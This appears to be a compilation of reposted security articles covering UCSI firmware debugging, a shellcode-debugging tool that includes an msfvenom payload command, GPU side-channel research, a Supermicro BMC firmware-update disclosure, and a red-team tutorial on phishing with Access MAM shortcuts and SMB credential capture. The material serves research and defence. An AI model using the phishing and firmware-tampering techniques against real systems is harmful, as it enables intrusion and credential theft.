Debugging UCSI firmware failures

( Original text by Rajib Dutta )

Background

The UCSI driver in Windows communicates with the firmware UCSI component (called PPM or Platform Policy Manager) through the spec-defined command notification interfaces. While driver failures can be tracked using Windows Error Reporting or WER and driver traces, the firmware may run into failures as well which might go undetected at first but result into loss of functionality later in time. UCSI compliant machines in the wild do run into such failures every day in the tens of thousands.
This document intends to describe a way in which an OEM or a firmware developer may avoid these PPM failures pro-actively running some stress tests.

  1. The most common PPM failure is UCSI command timeout.
  2. UcmUcsiCx.sys or UcmUcsi.sys is the inbox component in Windows that communicates with PPM. Here is a typical message flow between the driver and the firmware.
  3. UcmUcsiCx.sys/UcmUcsi.sys driver sends a UCSI command to PPM
    PPM asynchronously sends command complete notification (CCI:: Command Complete Indicator*).
  4. The driver receives the command complete notification and then send Ack to PPM (ACK_CC_CCI)
    PPM asynchronously send ack complete notification (CCI::Acknowledge Command Indicator).
    The driver waits for 10 seconds for an asynchronous notification (steps (2) and (4)) before giving up and generating failure report or a livedump.

*Note that the above steps are performed for all UCSI commands except PPM_RESET since after PPM_RESET the PPM Is expected to be in reset state where no notifications are enabled. The driver then polls for CCI::Reset Complete Indicator to be true.

 

Converting firmware failures to bugchecks

One way in which an OEM or a firmware developer can catch these failures in the lab or development environment is the configure the machine to bugcheck generating a kernel crashdump rather than  livedump which may go undetected. In addition to repro the failure, we advise an OEM/firmware developer to use Connection Exerciser Stress test: CxStress. CxStress is a part of MUTT software pachage found in this location.

  • Setup Connection exerciser: An example connection is shown in the following picture where the Type-C connector of the SUT is connected to the connection exerciser. The 4 Type-C ports of the connection exerciser is connected to 4 different kinds of the partners.ucsi setup.png
  • Configure UcmUcsiCx.sys to elevate livedump to crashdump
    • Locate the device node in Device Manager (devmgmt.msc) named UCM-UCSI ACPI Device. The node is under the USB Connector Manager
    • Right-click on the device, and select Properties and open the Details
    • Select Device Instance Path from the drop-down and note the property value.
    • On an elevated command prompt
      • reg add «HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\<device-instance-path>\Device Parameters» /v ForceCommandFailureCrash /t REG_DWORD /d 0x01
    • Restart the device by selecting the Disable option on the device node in Device Manager, and then selecting Enable. Alternatively, you can simply restart the PC.
  • Run CxStess.cmd (typically found in “C:\Program Files (x86)\USBTest\x64”). For completeness, we recommend you to run this test overnight (~8 hours).
  • Keep an eye on bugchecks that might happen due to the above test. The next section talks about how to go about finding their root cause.

Analyzing Firmware Failures

This section goes through analysis of an example crash that occurred when UcmUcsiCx driver was configured to generate a crashdump instead of a livedump.

Run !analyze to check the failure type. Bugcheck code: 0x1D4 is the UCSI failure code.

 

1: kd> !analyze -v

UCMUCSI_FAILURE (1d4)
The UcmUcsi driver has encountered an error.
Arguments:
Arg1: 0000000000000000, A UCSI command has timed out because the firmware did not respond to the command in time.
Arg2: 0000000000000005, The UCSI command value.
Arg3: ffff988646b2f8d0, If non-zero, the pointer to additional information (dt UcmUcsiCx!UCMUCSICX_TRIAGE).
Arg4: 0000000000000000

Debugging Details:
..

 

 

Get UcmUcsiCx driver traces. The following text contains the last few lines of the trace which we are interested in. The last few entries in the traces are related to the driver trying to stop the state machine and generating a dump. Look for the state machine event called CommandTimeOut and retrace the state machine transitions back a few steps to find out which command has timed out. In this specific example, it happens to be SetNotificationEnable UCSI command. Refer line 1076, 1083 and 1085 in the following WPP trace dump from Windbg.

1: kd> !rcdrkd.rcdrlogdump ucmucsicx
Trace searchpath is: 

Trace format prefix is: %7!u!: %!FUNC! - 
Trying to extract TMF information from - C:\ProgramData\Dbg\sym\UcmUcsiCx.pdb\DA9957412F663B283F7EF8BE9406D0551\UcmUcsiCx.pdb
--- start of log ---
…
…
…
1073: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: External][Source: WaitingForCommand][Event : CommandAvailable][Target: ProcessNextCommand]
1074: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: Call][Source: ProcessNextCommand][Event : _noevent_][Target: RetreiveCommandType]
1075: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: External][Source: RetreiveCommandType][Event : AsyncCommand][Target: SendNewCommandToPPM]
1076: UcmUcsiCx::CommandHandler::SendUCSICommandToPpm - [UCMUCSIPPM: 0x0000507062114698] Sending Command UcsiCommandSetNotificationEnable to client


1077: UcmUcsiCx::CommandHandler::EvtLogEventEnqueue - [COMMAND HANDLER] SmFx event: RequestCompletedSuccessfully
1078: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: Call][Source: SendNewCommandToPPM][Event : _noevent_][Target: WaitingForRequestCompletion]
1079: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: ExplicitPop][Source: WaitingForRequestCompletion][Event : RequestCompletedSuccessfully][Target: SendNewCommandToPPM]
1080: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: External][Source: SendNewCommandToPPM][Event : Succeeded][Target: StartingCommandCompleteTimer]
1081: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: External][Source: StartingCommandCompleteTimer][Event : Done][Target: WaitingForCommandComplete]
1082: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: Call][Source: EnableCmdCompleteNotificationOnPowerUp][Event : _noevent_][Target: WaitingForCommandCompletion]
1083: UcmUcsiCx::CommandHandler::PrettyPrintCCI - [CCI] ConnChange:0x0 | DataLength:0x0 | NotSupported:0 | CancelCompleted:0 | ResetCompleted:1 | Busy:0 | AckCommand:0 | Error:0 | CommandComplete:0 |
1084: UcmUcsiCx::CxDevice::EvtDeviceWdmPreprocessSetPowerIrp - [WDFDEVICE: 0x000050706D0133C8] System Power Down to SYSTEM_POWER_STATE:0x5
1085: UcmUcsiCx::CommandHandler::EvtLogEventEnqueue - [COMMAND HANDLER] SmFx event: CommandTimedOut
1086: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: ExplicitPop][Source: WaitingForCommandComplete][Event : CommandTimedOut][Target: ProcessNextCommand]
1087: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: ImplicitPop][Source: ProcessNextCommand][Event : UnrecoverableFailure][Target: Started]
1088: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: External][Source: Started][Event : UnrecoverableFailure][Target: Failed]
1089: UcmUcsiCx::Opm::EvtCommandCompletionReceived - [UCMUCSIPPM: 0x0000507062114698] Response timed out for command UcsiCommandSetNotificationEnable, 0x00000102(STATUS_TIMEOUT)
1090: UcmUcsiCx::Opm::EvtLogEventEnqueue - [OPM] SmFx event: Stop
1091: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: External][Source: WaitingForCommandCompletion][Event : Stop][Target: WaitingForCommandCompletionAfterStop]
1092: UcmUcsiCx::Opm::EvtLogEventEnqueue - [OPM] SmFx event: CommandComplete
1093: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: ExplicitPop][Source: WaitingForCommandCompletionAfterStop][Event : CommandComplete][Target: EnableCmdCompleteNotificationOnPowerUp]
1094: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: ImplicitPop][Source: EnableCmdCompleteNotificationOnPowerUp][Event : Stop][Target: PowerDownAndWaitForPowerUp]
1095: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: ImplicitPop][Source: PowerDownAndWaitForPowerUp][Event : Stop][Target: PpmOperational]
1096: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: ExplicitPop][Source: PpmOperational][Event : Stop][Target: Started]
1097: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: External][Source: Started][Event : Stop][Target: PurgingUnserviceCommandsDueToStop]
1098: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: External][Source: PurgingUnserviceCommandsDueToStop][Event : Done][Target: StopCommandHandlerMachine]
1099: UcmUcsiCx::CommandHandler::EvtLogEventEnqueue - [COMMAND HANDLER] SmFx event: Stop
1100: UcmUcsiCx::CxDevice::UnrecoverableFailureEncountered - [WDFDEVICE: 0x000050706D0133C8] An unrecoverable failure has been encountered. The device will now restart.
---- end of log ----

To summarize the above failure, UcmUcsiCx driver sends SetNoficationEnable command to the firmware and the firmware fails to send command complete notification within the timeout period of 10 seconds. Instead it sends a Reset Complete notification.

When such a failure occurs, we advise an OEM with work with firmware developer to fix the problem.

BlobRunner — Quickly Debug Shellcode Extracted During Malware Analysis

( Original text by LYDECKER BLACK )

BlobRunner is a simple tool to quickly debug shellcode extracted during malware analysis.
BlobRunner allocates memory for the target file and jumps to the base (or offset) of the allocated memory. This allows an analyst to quickly debug into extracted artifacts with minimal overhead and effort.

 

To use BlobRunner, you can download the compiled executable from the releases page or build your own using the steps below.
Building
Building the executable is straight forward and relatively painless.
Requirements

  • Download and install Microsoft Visual C++ Build Tools or Visual Studio

Build Steps

  • Open Visual Studio Command Prompt
  • Navigate to the directory where BlobRunner is checked out
  • Build the executable by running:

cl blobrunner.c

Building BlobRunner x64
Building the x64 version is virtually the same as above, but simply uses the x64 tooling.

  • Open x64 Visual Studio Command Prompt
  • Navigate to the directory where BlobRunner is checked out
  • Build the executable by running:

 cl /Feblobrunner64.exe /Foblobrunner64.out blobrunner.c

Usage
To debug:

  • Open BlobRunner in your favorite debugger.
  • Pass the shellcode file as the first parameter.
  • Add a breakpoint before the jump into the shellcode
  • Step into the shellcode

BlobRunner.exe shellcode.bin

Debug into file at a specific offset.


BlobRunner.exe shellcode.bin --offset 0x0100

Debug into file and don’t pause before the jump. Warning: Ensure you have a breakpoint set before the jump.


BlobRunner.exe shellcode.bin --nopause

Debugging x64 Shellcode
Inline assembly isn’t supported by the x64 compiler, so to support debugging into x64 shellcode the loader creates a suspended thread which allows you to place a breakpoint at the thread entry, before the thread is resumed.

Remote Debugging Shell Blobs (IDAPro)
The process is virtually identical to debugging shellcode locally — with the exception that the you need to copy the shellcode file to the remote system. If the file is copied to the same path you are running win32_remote.exe from, you just need to use the file name for the parameter. Otherwise, you will need to specify the path to the shellcode file on the remote system.

Shellcode Samples
You can quickly generate shellcode samples using the Metasploit tool msfvenom.
Generating a simple Windows exec payload.


msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -o test2.bin

Feedback / Help

  • Any questions, comments or requests you can find us on twitter: @seanmw or @herrcore
  • Pull requests welcome!

GPU side channel attacks can enable spying on web activity, password stealing

( Original text )

Computer scientists at the University of California, Riverside have revealed for the first time how easily attackers can use a computer’s graphics processing unit, or GPU, to spy on web activity, steal passwords, and break into cloud-based applications.

GPU side channel attacks

Threat scenarios

Marlan and Rosemary Bourns College of Engineering computer science doctoral student Hoda Naghibijouybari and post-doctoral researcher Ajaya Neupane, along with Associate Professor Zhiyun Qian and Professor Nael Abu-Ghazaleh, reverse engineered a Nvidia GPU to demonstrate three attacks on both graphics and computational stacks, as well as across them.

All three attacks require the victim to first acquire a malicious program embedded in a downloaded app. The program is designed to spy on the victim’s computer.

Web browsers use GPUs to render graphics on desktops, laptops, and smart phones. GPUs are also used to accelerate applications on the cloud and data centers. Web graphics can expose user information and activity. Computational workloads enhanced by the GPU include applications with sensitive data or algorithms that might be exposed by the new attacks.

GPUs are usually programmed using application programming interfaces, or APIs, such as OpenGL. OpenGL is accessible by any application on a desktop with user-level privileges, making all attacks practical on a desktop. Since desktop or laptop machines by default come with the graphics libraries and drivers installed, the attack can be implemented easily using graphics APIs.

The first attack tracks user activity on the web. When the victim opens the malicious app, it uses OpenGL to create a spy to infer the behavior of the browser as it uses the GPU. Every website has a unique trace in terms of GPU memory utilization due to the different number of objects and different sizes of objects being rendered. This signal is consistent across loading the same website several times and is unaffected by caching.

The researchers monitored either GPU memory allocations over time or GPU performance counters and fed these features to a machine learning based classifier, achieving website fingerprinting with high accuracy. The spy can reliably obtain all allocation events to see what the user has been doing on the web.

In the second attack, the authors extracted user passwords. Each time the user types a character, the whole password textbox is uploaded to GPU as a texture to be rendered. Monitoring the interval time of consecutive memory allocation events leaked the number of password characters and inter-keystroke timing, well-established techniques for learning passwords.

The third attack targets a computational application in the cloud. The attacker launches a malicious computational workload on the GPU which operates alongside the victim’s application. Depending on neural network parameters, the intensity and pattern of contention on the cache, memory and functional units differ over time, creating measurable leakage. The attacker uses machine learning-based classification on performance counter traces to extract the victim’s secret neural network structure, such as number of neurons in a specific layer of a deep neural network.

The researchers reported their findings to Nvidia, who responded that they intend to publish a patch that offers system administrators the option to disable access to performance counters from user-level processes. They also shared a draft of the paper with the AMD and Intel security teams to enable them to evaluate their GPUs with respect to such vulnerabilities.

In the future the group plans to test the feasibility of GPU side channel attacks on Android phones.

Insecure Firmware Updates in Server Management Systems

( Original text by Eclypsium )

Supermicro BMC Case Study

Baseboard Management Controllers (BMCs) are high-value targets to attackers, who can use the out-of-band management features of the BMC to compromise servers even below the level of the host OS and system firmware. BMCs are currently an area of active research for both attackers and defenders. A compromised BMC can be used by malware to provide persistence that lasts beyond a complete wipe and reinstall of the operating system as well as the ability to cross security domains by moving laterally from host-side networks to management networks which are intended to be isolated. In addition to our research, multiple teams have discovered vulnerabilities in other BMCs, such as the recent HPE iLO4 Authentication Bypass and RCEpublication and the The Unbearable Lightness of BMC’s talk at Black Hat. Even back in 2013, Dan Farmer and HD Moore (penetration tester’s guideSupermicro IPMI) published about serious BMC vulnerabilities. Given the inherent privilege of the BMC in server architecture, a compromised BMC amounts to a significant compromise of the system.

Our research has uncovered vulnerabilities in the way that multiple vendors update their BMC firmware. These vendors typically leverage standard, off-the-shelf IPMI management tools instead of developing customized in-house management capabilities. In this case, we will go deep into the BMC update process on Supermicro systems, we found that the BMC code responsible for processing and applying firmware updates does not perform cryptographic signature verification on the provided firmware image before accepting the update and committing it to non-volatile storage. This effectively allows the attacker to load modified code onto the BMC.

After informing Supermicro of these issues, they have been working with us to improve the security of BMC firmware updates using cryptographic signatures. They have informed us that all new Supermicro products will be released with this feature, and customers who wish to upgrade existing X10 or X11 systems can contact Supermicro (details on Supermicro’s cryptographic signature page). Unfortunately, at the time of publication, updates that address this critical vulnerability are not publicly available for direct download. Also, since Supermicro’s tools do allow administrators to retrieve the firmware version and a dump of the image, Supermicro customers can check that the latest updates are installed and verify the integrity of BMC firmware from critical systems.

Impact

Using the vulnerabilities we discovered, it is possible to make arbitrary modifications to the BMC code and data. Using these modifications, an attacker can run malicious software within these highly privileged management controllers. This could be useful, for example, to survive operating system reinstallation or communicate covertly with the attacker’s infrastructure, similar to the PLATINUM malware that used manageability features to bypass detection. Alternatively, this vulnerability could be used to “brick” (permanently disable) the BMC or the entire system, creating an impact even more severe than the BlackEnergy KillDisk component. Malicious software could prevent any further firmware updates to the BMC or simply corrupt the host firmware. In both of these scenarios, the only option to recover the system is to physically attach reprogramming hardware to the SPI chips on the motherboard and restore the original image.

Because IPMI communications can be performed over the BMC LAN interface, this update mechanism could also be exploited remotely if the attacker has been able to capture the ADMIN password for the BMC. This requires access to the systems management network, which should be isolated and protected from the production network. However, the implicit trust of management networks and interfaces may generate a false sense of security, leading to otherwise-diligent administrators practicing password reuse for convenience. In such cases, an attacker who has compromised one system could capture this password and use it to spread remotely to other systems on the management network.

Many server platforms support a dedicated IPMI LAN interface with a separate physical port rather than sharing a single physical port with the host operating system through the use of the Network Controller-Sideband Interface (NC-SI) mechanism. These systems allow the use of a physically separate “management” network such that IPMI LAN traffic is isolated from normal host network traffic. When this type of network architecture is being used, we can encounter situations where hosts are isolated from talking to each other through network firewalling to reduce their attack surface, but they’re all on the same BMC management network. In this case, once we have compromised the BMC, we can use this management network to attack and compromise other BMCs when the host-side network interfaces can’t directly communicate with each other.

About the BMC

Modern server platforms include a Baseboard Management Controller (BMC) for out-of-band management via Intelligent Platform Management Interface (IPMI). the BMC contains a separate CPU with its own firmware, which can remain accessible even when the host is powered off. This system component is designed to provide administrative access to the platform and is highly privileged, allowing administrators to remotely manage the firmware and OS of the host in the case of a failure or as part of regular maintenance. As a result, compromise of the BMC can undermine trust in the system regardless of any operating system protections installed on the host processor.

Some of the features Supermicro advertises for their BMC firmware are:

  • IPMI 2.0 based management
  • Hardware health monitor
  • Remote power control
  • Keyboard, Video & Mouse (KVM) Console Redirection with multi language support
  • HTML5 web Console Redirection
  • Media Redirection
  • Web based configuration

The AST2400 and AST2500 are common BMC components used in many server platforms. They contain an ARM processor, graphics processor, and network hardware. In addition, they have their own SPI Flash and DRAM. This allows the BMC subsystem to operate independently from the main CPU(s) in the server. Most BMCs are then connected to a wide variety of system busses, including PCIe, USB, LPC, SMBUS and possibly a shared network adapter.

Vulnerabilities

We have discovered that the X8 through X11 generation Supermicro servers use insecure firmware update mechanisms for their BMC components. Using the existing update interface to the BMC, it is possible for host software to modify BMC firmware images and run arbitrary malicious code inside the BMC processor.

X8 and X9 BMC FW Update Process

The BMC firmware in both X8 and X9 generation systems uses a WPCM450 Boot Loader (WBL) from Winbond Limited, which takes just under 64kB at the beginning of the SPI flash image. The SPI flash also contains an “nvram” section which is used as a non-volatile storage region for configuration changes and event data.

After the bootloader and this nvram section, each region in the firmware image is stored as a series of 32kB chunks where the end of the last chunk contains metadata about the region including load address and the name of the region, such as “1stFS”, “kernel”, and “2ndFS”. These correspond to two cramfs (rootfs and webfs) filesystems and a Linux kernel image which is zipped.

In the following screenshot, the 32kB chunk of this firmware image ending at offset 0x920000 contains a metadata footer with the magic value of 0xA0FFFF9F which indicates that this is a WBL-formatted image.

Further, the value of 0x40180000 indicates the “burn address” of this section of the file. For these types of images, the base of the flash region starts at 0x40000000 and the update tool uses this “burn address” minus the flash base address to determine how far into the file this region begins. The end of the region is calculated by simply taking the end of the chunk that contained the metadata footer. In this example, the start of this region is at offset 0x180000 and the end of the region is at 0x920000. The name for this region is “1stFS” and it contains the root filesystem for the Linux distribution running inside the BMC.

Using this information, we can carve the region out of the containing firmware image and extract the contents of the filesystem:

We can use the same process to extract the kernel region which contains a zipped Linux kernel:

Inside the kernel image, we found the default boot command line containing the mtdparts= argument which specifies how the flash regions are configured.

This flash layout declaration matches up with the 1stFS, kernel, and 2ndFS regions we discovered by scanning for the WBL (Winbond Boot Loader) magic value of 0xA0FFFF9F. In addition, it also shows us that the bootloader region starts at offset 0 with size 256kB and there’s an additional “nvram” region starting at offset 256kB with size 1280kB. This “nvram” region is used by the BMC operating system to store configuration settings, event logs, and other pieces of data that should persist across BMC resets.

The X9 BMC firmware can be updated by sending OEM-specific IPMI messages to the BMC. When this is done from the host processor over the “keyboard controller style” (KCS) IPMI system interface, no authentication is performed. Note that the IPMI specification does not have a requirement for update authentication.

Additionally, no cryptographic signature verification is performed on the BMC firmware images before they are written to the SPI flash chip.

We were able to successfully unpack the cramfs filesystem sections, replace files with arbitrary contents, add new files, and replace the original filesystem sections in the firmware update image and flash these modified images to the X9 BMC using the official Supermicro software update tools.

This vulnerability was confirmed with an X8DT3-LN4F using the X8DT3303.zip firmware image (latest available), X9DRi-LN4F+ using the SMT_X9_348.zip firmware image (the most recent version available for this motherboard), and the analysis of additional X9-generation IPMI/BMC firmware images.

X10 BMC FW Update Process

In X10 generation systems, the BMC processor has been replaced with AST2x00 SoCs from ASPEED. The BMC firmware in these systems uses a U-Boot bootloader which takes up approximately 128kB at the beginning of the SPI flash image. The SPI flash also contains a “nvram” section which is used as a non-volatile storage region for configuration changes and event data.

Like the X9 generation systems, the X10 BMC firmware images also contain three additional regions; two cramfs filesystems and a Linux kernel image. The BMC firmware image contains a u-boot header for the kernel image with a crc32 checksum as well as a text description of the flash regions containing start offset, size, crc32, and name for each region.

This example is from the REDFISH_X10_327.bin firmware image:

With a little formatting to make it easier to read:

[img]: 0 20fec cf74e74e u-boot.bin

[img]: 400000 d28000 ec25e35d out_rootfs_img.bin

[img]: 1400000 177620 64d09306 out_kernel.bin

[img]: 1700000 55f00a ed586d8c out_webfs_img.bin

[end]

The columns within each [img] tag are start offset, end offset, crc32, and section name.

The X10 BMC firmware can be updated by sending OEM-specific IPMI messages to the BMC. When this is done from the host processor over the “keyboard controller style” (KCS) IPMI system interface, no authentication is performed.

CRC32 checksums are calculated and checked for each region in the flash image, but no cryptographic signature verification is performed before they are written to the SPI flash chip. The update process also checks two values near an “ATENs_FW” string, but this check does not provide any security protection. An attacker can replace sections of the firmware with malicious code because these checksums are not a security mechanism and only protect against accidental corruption.

Here’s what the ATENs_FW signature looks like in this firmware update image:

One thing that initially caused some confusion when analyzing this image was that the ec25d280qed5855f0 string looked very similar to the crc32 values from the [img] sections and we took a closer look to see how these sections are related. “ec25” are ascii hex values for the upper half of the crc32 from the out_rootfs_img.bin section, but “d280” is the the upper half of the *length* of the section rather than the lower 16-bits of the crc32. Likewise, ed58 and 55f0 are the upper halves of the crc32 and length from the out_rootfs_img.bin section.

When we unpacked the out_rootfs_img.bin cramsfs, one of the executable files we found was /bin/img_crc_check which checks these specific fields in the firmware image. However, the way that this check is performed can’t possibly work with this image.

Here’s the code from find_atens_signature() that is used to find the signature and extract the values:

And here’s the code from main() that uses those values:

However, there’s no hexdecimal conversion anywhere in this code so the length and checksum fields will be incorrect. As an example, the length for the rootfs will be 0x64323830 instead of 0xd28000. It appears that we’ve found a bug in the checksum generation for these images, but it turns out that this doesn’t matter.

When the BMC receives a new firmware image over the IPMI interface, the code that checks its signature doesn’t actually check the values of the checksum fields in this section before writing the received firmware image to the SPI flash, as shown in the following code:

We were able to successfully unpack the cramfs filesystem sections, replace files with arbitrary contents, add new files, replace the original filesystem sections in the firmware update image, recalculate the necessary CRC32 values in the [img] tags, and flash these modified images to the X10 BMC using the official Supermicro software update tools.

This vulnerability was confirmed with an X10SLM-F system, the REDFISH_X10_327.zip firmware image (the most recent version available for this motherboard), and the analysis of additional X10-generation IPMI/BMC firmware images.

X11 BMC FW Update Process

X11 generation systems continue the use of ASPEED AST2x00 BMC chips. However, with this generation, Supermicro made changes to the BMC firmware update file format. This appears to be an attempt to make it more difficult to extract and replace the BMC firmware for these systems.

When we first examined the X11 BMC firmware update images, we didn’t find the standard headers for embedded filesystems or the Linux kernel we expected, but we found many byte sequences that signified LZMA compressed data along with strings that looked like file and directory names:

This looked like a cramfs filesystem, except that we’d expect to see the standard signature bytes and other header fields at the beginning. Instead, we just had garbage. This seemed suspicious, so we bought an X11 motherboard so we could look at a real system.

Immediately after receiving the X11 platform, we hooked up a SPI programmer to physically read a copy of the SPI flash chip containing the BMC firmware before we even installed the CPU:

When we took a look at the dumped SPI flash image, we discovered that the live system contains the normal cramfs and Linux kernel headers precisely where we expected to find them.

After extracting the cramfs filesystem and examining libipmi.so, we found debugging messages and function symbols that made it clear what was going on:

j_console_log("[%s] img-size: %#x\n", "flash_decrypt_check", a2);
j_console_log("[%s] Flash encryption check ...\n", "flash_decrypt_check");
v3 = j_crypto_task1(v2, 2, 0x400000);
if ( v3 >= 0 )
{
v3 = j_crypto_task1(v2, 2, 0x1700000);
if ( v3 >= 0 )
{
v5 = j_crypto_task2(v2, 2);

A little more digging and we discovered hardcoded AES keys and IVs that were used to encrypt the first 96 or 192 bytes of each of the regions of the BMC firmware image we were interested in.

Because AES is a symmetric cipher, these keys can be used to decrypt an existing firmware update, modify the image, and then re-encrypt the image such that the X11 update mechanism will accept the modified image and apply it to the system.

These keys can easily be recovered by someone with physical access to an X11 system. We were able to extract the shipped firmware image from the system, find the keys, and successfully create a new firmware update image to connect back to our command and control server with a root shell running in the BMC in less than two hours of work. And this was all done before we installed the CPU in the new motherboard.

Because the keys are only used to obfuscate the header of the cramfs filesystem and not the contents of the compressed files, it’s also possible to find the compressed libipmi.so which contains the hardcoded keys and manually extract that from the firmware update image even without physical access to a system which contains the firmware image flashed in the clear.

Mitigation

The BMC firmware update mechanism must protect itself against potentially malicious updates including performing cryptographically secure signature verification before allowing new updates to be committed to the SPI flash. NIST has published Special Publication 800-193: Platform Firmware Resiliency Guidelines which describes important attributes for each component of a computer system. An Authenticated Update Mechanism is described in section 4.2.1.1 as follows:

One or more authenticated update mechanisms anchored in the RTU shall be the exclusive means for updating device firmware, absent unambiguous physical presence through a secure local update, as defined in Section 3.5.3. Authenticated update mechanisms shall meet the following authentication guidelines:

  1. Firmware update images shall be signed using an approved digital signature algorithm as specified in FIPS 186-4 [7], Digital Signature Standard, with security strength of at least 112 bits in compliance with SP 800-57, Recommendation for Key Management – Part 1: General [8].
  2. Each firmware update image shall be signed by an authorized entity – usually the device manufacturer, the platform manufacturer or a trusted third party – in conformance with SP 800-89, Recommendation for Obtaining Assurances for Digital Signature Applications [9].
  3. The digital signature of a new or recovery firmware update image shall be verified by an RTU or a CTU prior to the non-volatile storage completion of the update process. For example, this might be accomplished by verifying the contents of the update in RAM and then performing an update to the active flash. In another example, it could also be accomplished by loading the update into a region of flash, verifying it, and then selecting that region of flash as the active region.

While this requirement does not seem to appear in the IPMI specification, more attention on the area should drive wider adoption. After we reported these issues to Supermicro, they have implemented cryptographic signature verification for the BMC firmware update process. This appears to create a Root of Trust for Update (RTU) as described above, which is an important security feature for devices, including the BMC. Supermicro recommends reaching out to their support contacts for more information about the authentication feature on current systems.

In addition, Supermicro’s update tools provide the ability to check the firmware version which is installed on a system as well as dump a copy of the current firmware which can be used to check for known vulnerable versions of the firmware or check the integrity of the installed firmware.

Conclusion

BMCs provide highly privileged management access to servers, but vulnerabilities in these management components can undermine all of the existing protections in the host operating system and applications which are running on the server. As with any security issue, continued attention is needed for improvement. Given the recent BMC issues discovered by other researchers as well as the vulnerabilities discussed in this post, it is clear that more attention is needed. We believe that better visibility into the integrity of critical components like the BMC is an important improvement for many organizations, and we’re working to make that happen.

Phishing tales: Microsoft Access Macro (.MAM) shortcuts

( Original text by Steve Borosh )

reviously, I blogged about the ability to create malicious .ACCDE Microsoft Access Database files and using them as a phishing vector. This post expands on using the ACCDE format and will be introducing Microsoft Access Macro “MAM” shortcuts to gain access via phishing. The MAM file is basically a shortcut that links directly to a Microsoft Access macro. It has been around since at least Office 97.

Creating a MAM

For this exercise, we’ll be creating a simple Microsoft Access Database that pops calc.exe. We could, however, embed anything from a simple macro payload to a full-fledged DOTNET2JSCRIPT payload., I’ll leave proper weaponizationthat to you. First, open MSAccess and create a blank database. You should then have something like this:

Now, navigate to the Create ribbon and select Module. This will open the Microsoft Visual Basic for Applications design editor.

In Microsoft Access, our module will contain our code base while the macro will just tell Access to run the VB code. You’ll see what I mean here shortly.

Ok, we need some code. A simple “pop calc” will do. I’ll leave taking this to a reverse shell up to the reader or refer to my previous blog post.

Notice how I’ve added the Function call to this code. When we create our macro, it will look for a function call instead of a sub.

Now, save the module and exit the code editor.

With our module saved, we can create our macro to call the module. Open the Create ribbon and select Macro. Use the drop down box to select “Run Code” and point to your macro function.

Next, you should test your macro by clicking the Run menu option and Access will prompt you to save your macro. Be sure to save your macro as Autoexec if you want it to run automatically upon document open.

With our database complete, we can save the project. You’ll want to save in .accdb format first so you can modify your project later.

Then, we’ll save our project again. This time, select the Make ACCDE option. This will create an “execute only” version of our database.

We could attach the ACCDE to an email or link to it if we want as our payload option when phishing. However, there’s more to this than sending the file. We can create our MAM shortcut that will link remotely to our ACCDE file and run the contents over the internet.

Make sure you have your ACCDE file open, left-click and drag the macro to your desktop. This will create your initial .MAM file that you can modify. Open it with your favorite editor or notepad to see what we can modify.

As you can see, there’s not to much to the shortcut itself. We are mainly concerned with changing the DatabasePath variable as we will be hosting the execute only database remotely. With this variable, we have several options. We could host the ACCDE file over SMB or web. Hosting over SMB could serve dual purpose as we could capture credentials as well as long as port 445 is allowed out of your target network. In this blog post, I’ll be demonstrating how to do this over http. Lets host our ACCDE file remotely and modify our .MAM file.

The Phish

On a remote host, serve up the ACCDE file using your preferred web hosting method.

Edit the .MAM file to point to your ACCDE hosted on your web server.

Now we are tasked with delivering our MAM payload to our target. Some providers block MAM files and Outlook does by default so, in this scenario we will send a phishing link to our target and will simply host our MAM file on our web server or you could do some funky redirects with Apache mod_rewrite as detailed here by @bluscreenofjeff.

Once our user clicks our phishing link (using Edge Browser in this case) they are prompted to open or save the file.

Next they are prompted to open the file again with a security warning.

Finally, the target user is prompted with the last security warning and your remote hosted IP address or domain name (hopefully convincing) is displayed to the user. The key point to note here is after this there is no macro or protected view warning displayed or blocking this macro payload from running.

Once the user clicks Open, our code should run.

While there are several security prompts, we’re a little pretext and one unsuspecting user away from entering our target network.

OPSEC

This payload is nice for the fact that it’s a simple shortcut file and our payload can be invoked remotely. But, what artifacts are left after execution? Let’s check out the process and file system activity with procmon.

The first interesting entry is a “CreateFile” call that executes the command line seen in the picture above. Something for command line auditing to look for would be the “ShellOpenMacro” string.

Next, we observe the remote ACCDE file being saved and executed from our local machine. While it seems as though our payload is invoked remotely, it’s downloaded to “%APPDATA%\Local\Microsoft\Windows\INetCache\Content.MSO\95E62AFE.accde\PopCalc.accde”. For an offensive engagement, this file should be noted for cleanup.

0

Mitigation

In Microsoft Office 2016, you can enable the GPO to block macro execution from the internet or set the following registry key for each office product.

Computer\HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Access\Security\blockcontentexecutionfrominternet = 1

If a user is phished with this setting in place, they’ll be denied from executing the program. It should be noted that even though the macro is blocked, the MAM file still reaches out to pull down the Access file. So, there’s still an opportunity to know if your phish was received and executed or steal credentials via smb.

Conclusion

